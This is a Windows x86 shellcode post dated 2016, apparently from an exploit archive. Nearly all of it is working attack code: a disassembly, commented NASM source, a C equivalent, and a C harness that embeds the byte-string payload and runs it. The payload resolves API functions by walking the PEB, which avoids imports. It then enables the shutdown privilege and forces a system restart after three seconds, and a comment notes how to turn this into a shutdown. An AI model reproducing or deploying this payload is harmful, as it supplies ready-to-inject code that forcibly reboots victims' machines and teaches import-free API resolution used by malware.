/*
# Title: Windows x86 InitiateSystemShutdownA() shellcode
# Date : 18-08-2016
# Author : Roziul Hasan Khan Shifat
# Tested on : Windows 7 x86 starter
*/
/*
Disassembly of section .text:
00000000 <_start>:
0: 31 c9 xor %ecx,%ecx
2: 64 8b 41 30 mov %fs:0x30(%ecx),%eax
6: 8b 40 0c mov 0xc(%eax),%eax
9: 8b 70 14 mov 0x14(%eax),%esi
c: ad lods %ds:(%esi),%eax
d: 96 xchg %eax,%esi
e: ad lods %ds:(%esi),%eax
f: 8b 48 10 mov 0x10(%eax),%ecx
12: 8b 59 3c mov 0x3c(%ecx),%ebx
15: 01 cb add %ecx,%ebx
17: 8b 5b 78 mov 0x78(%ebx),%ebx
1a: 01 cb add %ecx,%ebx
1c: 8b 73 20 mov 0x20(%ebx),%esi
1f: 01 ce add %ecx,%esi
21: 31 d2 xor %edx,%edx
00000023 <g>:
23: 42 inc %edx
24: ad lods %ds:(%esi),%eax
25: 01 c8 add %ecx,%eax
27: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
2d: 75 f4 jne 23 <g>
2f: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
36: 75 eb jne 23 <g>
38: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
3f: 75 e2 jne 23 <g>
41: 8b 73 1c mov 0x1c(%ebx),%esi
44: 01 ce add %ecx,%esi
46: 8b 14 96 mov (%esi,%edx,4),%edx
49: 01 ca add %ecx,%edx
4b: 89 cf mov %ecx,%edi
4d: 31 c0 xor %eax,%eax
4f: 50 push %eax
50: 83 ec 1c sub $0x1c,%esp
53: 8d 34 24 lea (%esp),%esi
56: 89 16 mov %edx,(%esi)
58: 50 push %eax
59: 68 6f 6b 65 6e push $0x6e656b6f
5e: 68 65 73 73 54 push $0x54737365
63: 68 50 72 6f 63 push $0x636f7250
68: 68 4f 70 65 6e push $0x6e65704f
6d: 8d 04 24 lea (%esp),%eax
70: 50 push %eax
71: 51 push %ecx
72: ff d2 call *%edx
74: 89 46 04 mov %eax,0x4(%esi)
77: 83 c4 10 add $0x10,%esp
7a: 31 c9 xor %ecx,%ecx
7c: 68 73 41 42 42 push $0x42424173
81: 88 4c 24 01 mov %cl,0x1(%esp)
85: 68 6f 63 65 73 push $0x7365636f
8a: 68 6e 74 50 72 push $0x7250746e
8f: 68 75 72 72 65 push $0x65727275
94: 68 47 65 74 43 push $0x43746547
99: 8d 0c 24 lea (%esp),%ecx
9c: 51 push %ecx
9d: 57 push %edi
9e: 8b 16 mov (%esi),%edx
a0: ff d2 call *%edx
a2: 83 c4 14 add $0x14,%esp
a5: 89 46 08 mov %eax,0x8(%esi)
a8: 31 c9 xor %ecx,%ecx
aa: 68 65 73 73 41 push $0x41737365
af: 88 4c 24 03 mov %cl,0x3(%esp)
b3: 68 50 72 6f 63 push $0x636f7250
b8: 68 45 78 69 74 push $0x74697845
bd: 8d 0c 24 lea (%esp),%ecx
c0: 51 push %ecx
c1: 57 push %edi
c2: 8b 16 mov (%esi),%edx
c4: ff d2 call *%edx
c6: 83 c4 0c add $0xc,%esp
c9: 89 46 0c mov %eax,0xc(%esi)
cc: 31 c9 xor %ecx,%ecx
ce: 51 push %ecx
cf: 68 61 72 79 41 push $0x41797261
d4: 68 4c 69 62 72 push $0x7262694c
d9: 68 4c 6f 61 64 push $0x64616f4c
de: 8d 0c 24 lea (%esp),%ecx
e1: 51 push %ecx
e2: 57 push %edi
e3: 8b 16 mov (%esi),%edx
e5: ff d2 call *%edx
e7: 83 c4 0c add $0xc,%esp
ea: 68 2e 64 6c 6c push $0x6c6c642e
ef: 68 70 69 33 32 push $0x32336970
f4: 68 61 64 76 61 push $0x61766461
f9: 8d 0c 24 lea (%esp),%ecx
fc: 51 push %ecx
fd: ff d0 call *%eax
ff: 83 c4 0c add $0xc,%esp
102: 89 c7 mov %eax,%edi
104: 31 c9 xor %ecx,%ecx
106: 68 41 42 42 42 push $0x42424241
10b: 88 4c 24 01 mov %cl,0x1(%esp)
10f: 68 61 6c 75 65 push $0x65756c61
114: 68 65 67 65 56 push $0x56656765
119: 68 69 76 69 6c push $0x6c697669
11e: 68 75 70 50 72 push $0x72507075
123: 68 4c 6f 6f 6b push $0x6b6f6f4c
128: 8d 0c 24 lea (%esp),%ecx
12b: 51 push %ecx
12c: 50 push %eax
12d: 8b 16 mov (%esi),%edx
12f: ff d2 call *%edx
131: 83 c4 18 add $0x18,%esp
134: 89 46 10 mov %eax,0x10(%esi)
137: 31 c9 xor %ecx,%ecx
139: 68 73 41 41 41 push $0x41414173
13e: 88 4c 24 01 mov %cl,0x1(%esp)
142: 68 6c 65 67 65 push $0x6567656c
147: 68 72 69 76 69 push $0x69766972
14c: 68 6b 65 6e 50 push $0x506e656b
151: 68 73 74 54 6f push $0x6f547473
156: 68 41 64 6a 75 push $0x756a6441
15b: 8d 0c 24 lea (%esp),%ecx
15e: 51 push %ecx
15f: 57 push %edi
160: 8b 16 mov (%esi),%edx
162: ff d2 call *%edx
164: 83 c4 18 add $0x18,%esp
167: 89 46 14 mov %eax,0x14(%esi)
16a: 31 c9 xor %ecx,%ecx
16c: 68 77 6e 41 42 push $0x42416e77
171: 88 4c 24 03 mov %cl,0x3(%esp)
175: 68 75 74 64 6f push $0x6f647475
17a: 68 65 6d 53 68 push $0x68536d65
17f: 68 53 79 73 74 push $0x74737953
184: 68 69 61 74 65 push $0x65746169
189: 68 49 6e 69 74 push $0x74696e49
18e: 8d 0c 24 lea (%esp),%ecx
191: 51 push %ecx
192: 57 push %edi
193: 8b 16 mov (%esi),%edx
195: ff d2 call *%edx
197: 83 c4 18 add $0x18,%esp
19a: 89 46 18 mov %eax,0x18(%esi)
19d: 31 c0 xor %eax,%eax
19f: 50 push %eax
1a0: 83 ec 14 sub $0x14,%esp
1a3: 8d 3c 24 lea (%esp),%edi
000001a6 <proc_start>:
1a6: 8b 46 08 mov 0x8(%esi),%eax
1a9: ff d0 call *%eax
1ab: 31 d2 xor %edx,%edx
1ad: 8d 17 lea (%edi),%edx
1af: 52 push %edx
1b0: 31 c9 xor %ecx,%ecx
1b2: b1 28 mov $0x28,%cl
1b4: 51 push %ecx
1b5: 50 push %eax
1b6: 8b 4e 04 mov 0x4(%esi),%ecx
1b9: ff d1 call *%ecx
1bb: 8d 57 04 lea 0x4(%edi),%edx
1be: 8d 52 04 lea 0x4(%edx),%edx
1c1: 8d 12 lea (%edx),%edx
1c3: 31 c9 xor %ecx,%ecx
1c5: 68 65 67 65 41 push $0x41656765
1ca: 88 4c 24 03 mov %cl,0x3(%esp)
1ce: 68 69 76 69 6c push $0x6c697669
1d3: 68 77 6e 50 72 push $0x72506e77
1d8: 68 75 74 64 6f push $0x6f647475
1dd: 68 53 65 53 68 push $0x68536553
1e2: 8d 0c 24 lea (%esp),%ecx
1e5: 31 db xor %ebx,%ebx
1e7: 52 push %edx
1e8: 51 push %ecx
1e9: 53 push %ebx
1ea: 8b 5e 10 mov 0x10(%esi),%ebx
1ed: ff d3 call *%ebx
1ef: 8d 57 04 lea 0x4(%edi),%edx
1f2: 31 c9 xor %ecx,%ecx
1f4: 41 inc %ecx
1f5: 89 0a mov %ecx,(%edx)
1f7: 8d 52 04 lea 0x4(%edx),%edx
1fa: 41 inc %ecx
1fb: 89 4a 08 mov %ecx,0x8(%edx)
1fe: 31 d2 xor %edx,%edx
200: 52 push %edx
201: 52 push %edx
202: 52 push %edx
203: 8d 57 04 lea 0x4(%edi),%edx
206: 52 push %edx
207: 31 d2 xor %edx,%edx
209: 52 push %edx
20a: 8b 17 mov (%edi),%edx
20c: 52 push %edx
20d: 8b 56 14 mov 0x14(%esi),%edx
210: ff d2 call *%edx
212: 31 c9 xor %ecx,%ecx
214: 51 push %ecx
215: 68 6e 64 73 21 push $0x2173646e
21a: 68 73 65 63 6f push $0x6f636573
21f: 68 41 20 33 20 push $0x20332041
224: 68 6d 2e 45 54 push $0x54452e6d
229: 68 79 73 74 65 push $0x65747379
22e: 68 6e 67 20 53 push $0x5320676e
233: 68 61 72 74 49 push $0x49747261
238: 68 52 65 73 74 push $0x74736552
23d: 8d 1c 24 lea (%esp),%ebx
240: 41 inc %ecx
241: 51 push %ecx
242: 31 c9 xor %ecx,%ecx
244: 51 push %ecx
245: b1 03 mov $0x3,%cl
247: 51 push %ecx
248: 53 push %ebx
249: 31 c9 xor %ecx,%ecx
24b: 51 push %ecx
24c: 8b 4e 18 mov 0x18(%esi),%ecx
24f: ff d1 call *%ecx
251: 8b 4e 0c mov 0xc(%esi),%ecx
254: 50 push %eax
255: ff d1 call *%ecx
*/
/*
HANDLE 4 bytes
TOKEN_PRIVILEGES 16 bytes
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY = 40
LUID_AND_ATTRIBUTES 12 bytes
LUID 8 bytes
SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
SE_PRIVILEGE_ENABLED = 2
required functions:
1. WINADVAPI WINBOOL WINAPI OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
2. WINBASEAPI HANDLE WINAPI GetCurrentProcess (VOID);
3. WINADVAPI WINBOOL WINAPI LookupPrivilegeValueA (LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);
4. WINADVAPI WINBOOL WINAPI AdjustTokenPrivileges (HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
5. WINADVAPI WINBOOL WINAPI InitiateSystemShutdownA(LPSTR lpMachineName,LPSTR lpMessage,DWORD dwTimeout,WINBOOL bForceAppsClosed,WINBOOL bRebootAfterShutdown);
6.GetProcAddress()
7.ExitProcess()
8.LoadLibraryA() [1 time use]
required dll:
1.kernel32.dll
2.kernel32.dll
3.advapi32.dll
4.advapi32.dll
5.advapi32.dll
6.kernel32.dll
7.kernel32.dll
8.kernel32.dll
required macro and custom data types:
#define ANYSIZE_ARRAY 1
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES,*PTOKEN_PRIVILEGES;
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES,*PLUID_AND_ATTRIBUTES;
typedef LUID_AND_ATTRIBUTES LUID_AND_ATTRIBUTES_ARRAY[ANYSIZE_ARRAY];
typedef LUID_AND_ATTRIBUTES_ARRAY *PLUID_AND_ATTRIBUTES_ARRAY;
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID,*PLUID;
c code:
#include <windows.h>
#include<stdio.h>
#include<process.h>
#include<io.h>
int main(){
HANDLE h;
TOKEN_PRIVILEGES t;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&h))
return 0;
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&t.Privileges[0].Luid);
t.PrivilegeCount=1;
t.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(h, FALSE, &t, 0,NULL, 0);
InitiateSystemShutdown(NULL,"shutting",10,FALSE,1);
}
*/
/*
section .text
global _start
_start:
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB->Ldr
mov esi,[eax+0x14] ;PEB->ldr.InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov ecx,[eax+0x10] ;kernel32.dll base address
mov ebx,[ecx+0x3c] ;DOS->elf_anew
add ebx,ecx ;PE HEADER
mov ebx,[ebx+0x78] ;DataDirectory->VirtualAddress
add ebx,ecx ;IMAGE_EXPORT_DIRECTORY
mov esi,[ebx+0x20] ;AddressOfNames
add esi,ecx
xor edx,edx
g:
inc edx
lodsd
add eax,ecx
cmp dword [eax],'GetP'
jnz g
cmp dword [eax+4],'rocA'
jnz g
cmp dword [eax+8],'ddre'
jnz g
mov esi,[ebx+0x1c] ;AddressOfFunctions
add esi,ecx
mov edx,[esi+edx*4]
add edx,ecx ;GetProcAddress()
mov edi,ecx ;kernel32.dll
xor eax,eax
push eax
sub esp,28
lea esi,[esp]
mov [esi],dword edx ;GetProcAddress() at offset 0
;---------------------------------
;finding address of OpenProcessToken()
push eax
push 0x6e656b6f
push 0x54737365
push 0x636f7250
push 0x6e65704f
lea eax,[esp]
push eax
push ecx
call edx
;-----------------------------------
mov [esi+4],dword eax ;OpenProcessToken() at offset 4
add esp,0x10
;-------------------------
;finding address of GetCurrentProcess()
xor ecx,ecx
push 0x42424173
mov [esp+1],byte cl
push 0x7365636f
push 0x7250746e
push 0x65727275
push 0x43746547
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
;-------------------------
add esp,20
mov [esi+8],dword eax ;GetCurrentProcess() at offset 8
;----------------------------------
;finding address of ExitProcess()
xor ecx,ecx
push 0x41737365
mov [esp+3],byte cl
push 0x636f7250
push 0x74697845
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
;-----------------------
add esp,12
mov [esi+12],dword eax ;ExitProcess() at offset 12
;-------------------------------------------
;finding address of LoadLibraryA()
xor ecx,ecx
push ecx
push 0x41797261
push 0x7262694c
push 0x64616f4c
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
;--------------------
add esp,12
;LoadLibraryA("advapi32.dll")
push 0x6c6c642e
push 0x32336970
push 0x61766461
lea ecx,[esp]
push ecx
call eax
;--------------------------
add esp,12
mov edi,eax ; advapi32.dll
;------------------------------
;finding address of LookupPrivilegeValueA()
xor ecx,ecx
push 0x42424241
mov [esp+1],byte cl
push 0x65756c61
push 0x56656765
push 0x6c697669
push 0x72507075
push 0x6b6f6f4c
lea ecx,[esp]
push ecx
push eax
mov edx,dword [esi]
call edx
;---------------------------
add esp,0x18
mov [esi+16],dword eax ;LookupPrivilegeValueA() at offset 16
;-------------------------
;finding address of AdjustTokenPrivileges()
xor ecx,ecx
push 0x41414173
mov [esp+1],byte cl
push 0x6567656c
push 0x69766972
push 0x506e656b
push 0x6f547473
push 0x756a6441
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
;------------------------------------
add esp,0x18
mov [esi+20],dword eax ;AdjustTokenPrivileges() at offset 20
;---------------------------
;finding address of InitiateSystemShutdownA()
xor ecx,ecx
push 0x42416e77
mov [esp+3],byte cl
push 0x6f647475
push 0x68536d65
push 0x74737953
push 0x65746169
push 0x74696e49
lea ecx,[esp]
push ecx
push edi
mov edx,dword [esi]
call edx
;-------------------------
add esp,0x18
mov [esi+24],dword eax ;InitiateSystemShutdownA() at offset 24
;-------------------------
xor eax,eax
push eax
sub esp,20
lea edi,[esp] ;HANDLE+TOKEN_PRIVILEGES address
;---------------------------------
;GetProcAddress() at offset 0
;OpenProcessToken() at offset 4
;GetCurrentProcess() at offset 8
;ExitProcess() at offset 12
;LookupPrivilegeValueA() at offset 16
;AdjustTokenPrivileges() at offset 20
;InitiateSystemShutdownA() at offset 24
;----------------------------------------
proc_start:
;---------------------------
;GetCurrentProcess()
mov eax,[esi+8]
call eax
;----------------------------
;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&HANDLE)
xor edx,edx
lea edx,[edi]
push edx
xor ecx,ecx
mov cl,40
push ecx
push eax
mov ecx,[esi+4]
call ecx
;--------------------------
;LookupPrivilegeValueA(NULL,SE_SHUTDOWN_NAME,&TOKEN_PRIVILEGES.Privileges[0].Luid);
lea edx,[edi+4]
lea edx,[edx+4]
lea edx,[edx]
xor ecx,ecx
push 0x41656765
mov [esp+3],byte cl
push 0x6c697669
push 0x72506e77
push 0x6f647475
push 0x68536553
lea ecx,[esp]
xor ebx,ebx
push edx
push ecx
push ebx
mov ebx,[esi+16]
call ebx
;----------------------------------
;AdjustTokenPrivileges(HANDLE, FALSE, &TOKEN_PRIVILEGES, 0,NULL, 0);
lea edx,[edi+4]
xor ecx,ecx
inc ecx
mov [edx],dword ecx
lea edx,[edx+4]
inc ecx
mov [edx+8],dword ecx
xor edx,edx
push edx
push edx
push edx
lea edx,[edi+4]
push edx
xor edx,edx
push edx
mov edx,dword [edi]
push edx
mov edx,[esi+20]
call edx
;----------------------------
;InitiateSystemShutdownA(NULL,"RestartIng System.ETA 3 seconds!",3,FALSE,1);
xor ecx,ecx
;--------------------------
push ecx
push 0x2173646e
push 0x6f636573
push 0x20332041
push 0x54452e6d
push 0x65747379
push 0x5320676e
push 0x49747261
push 0x74736552
lea ebx,[esp] ;Message "RestartIng System.ETA 3 seconds!"
;------------------------------
inc ecx ;if U want to shutdown system , just remove this line
push ecx
xor ecx,ecx
push ecx
mov cl,3 ;3 seconds
push ecx
push ebx
xor ecx,ecx
push ecx
mov ecx,[esi+24]
call ecx
;--------------------------
;Exiting
mov ecx,[esi+12]
push eax
call ecx
*/
#include<stdio.h>
#include<string.h>
char shellcode[]=\
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xcf\x31\xc0\x50\x83\xec\x1c\x8d\x34\x24\x89\x16\x50\x68\x6f\x6b\x65\x6e\x68\x65\x73\x73\x54\x68\x50\x72\x6f\x63\x68\x4f\x70\x65\x6e\x8d\x04\x24\x50\x51\xff\xd2\x89\x46\x04\x83\xc4\x10\x31\xc9\x68\x73\x41\x42\x42\x88\x4c\x24\x01\x68\x6f\x63\x65\x73\x68\x6e\x74\x50\x72\x68\x75\x72\x72\x65\x68\x47\x65\x74\x43\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x14\x89\x46\x08\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x89\x46\x0c\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x0c\x68\x2e\x64\x6c\x6c\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x8d\x0c\x24\x51\xff\xd0\x83\xc4\x0c\x89\xc7\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x61\x6c\x75\x65\x68\x65\x67\x65\x56\x68\x69\x76\x69\x6c\x68\x75\x70\x50\x72\x68\x4c\x6f\x6f\x6b\x8d\x0c\x24\x51\x50\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x10\x31\xc9\x68\x73\x41\x41\x41\x88\x4c\x24\x01\x68\x6c\x65\x67\x65\x68\x72\x69\x76\x69\x68\x6b\x65\x6e\x50\x68\x73\x74\x54\x6f\x68\x41\x64\x6a\x75\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x14\x31\xc9\x68\x77\x6e\x41\x42\x88\x4c\x24\x03\x68\x75\x74\x64\x6f\x68\x65\x6d\x53\x68\x68\x53\x79\x73\x74\x68\x69\x61\x74\x65\x68\x49\x6e\x69\x74\x8d\x0c\x24\x51\x57\x8b\x16\xff\xd2\x83\xc4\x18\x89\x46\x18\x31\xc0\x50\x83\xec\x14\x8d\x3c\x24\x8b\x46\x08\xff\xd0\x31\xd2\x8d\x17\x52\x31\xc9\xb1\x28\x51\x50\x8b\x4e\x04\xff\xd1\x8d\x57\x04\x8d\x52\x04\x8d\x12\x31\xc9\x68\x65\x67\x65\x41\x88\x4c\x24\x03\x68\x69\x76\x69\x6c\x68\x77\x6e\x50\x72\x68\x75\x74\x64\x6f\x68\x53\x65\x53\x68\x8d\x0c\x24\x31\xdb\x52\x51\x53\x8b\x5e\x10\xff\xd3\x8d\x57\x04\x31\xc9\x41\x89\x0a\x8d\x52\x04\x41\x89\x4a\x08\x31\xd2\x52\x52\x52\x8d\x57\x04\x52\x31\xd2\x52\x8b\x17\x52\x8b\x56\x14\xff\xd2\x31\xc9\x51\x68\x6e\x64\x73\x21\x68\x73\x65\x63\x6f\x68\x41\x20\x33\x20\x68\x6d\x2e\x45\x54\x68\x79\x73\x74\x65\x68\x6e\x67\x20\x53\x68\x61\x72\x74\x49\x68\x52\x65\x73\x74\x8d\x1c\x24\x41\x51\x31\xc9\x51\xb1\x03\x51\x53\x31\xc9\x51\x8b\x4e\x18\xff\xd1\x8b\x4e\x0c\x50\xff\xd1";
main()
{
printf("shellcode lenght %ld\n",(long)strlen(shellcode));
(* (int(*)()) shellcode) ();
}
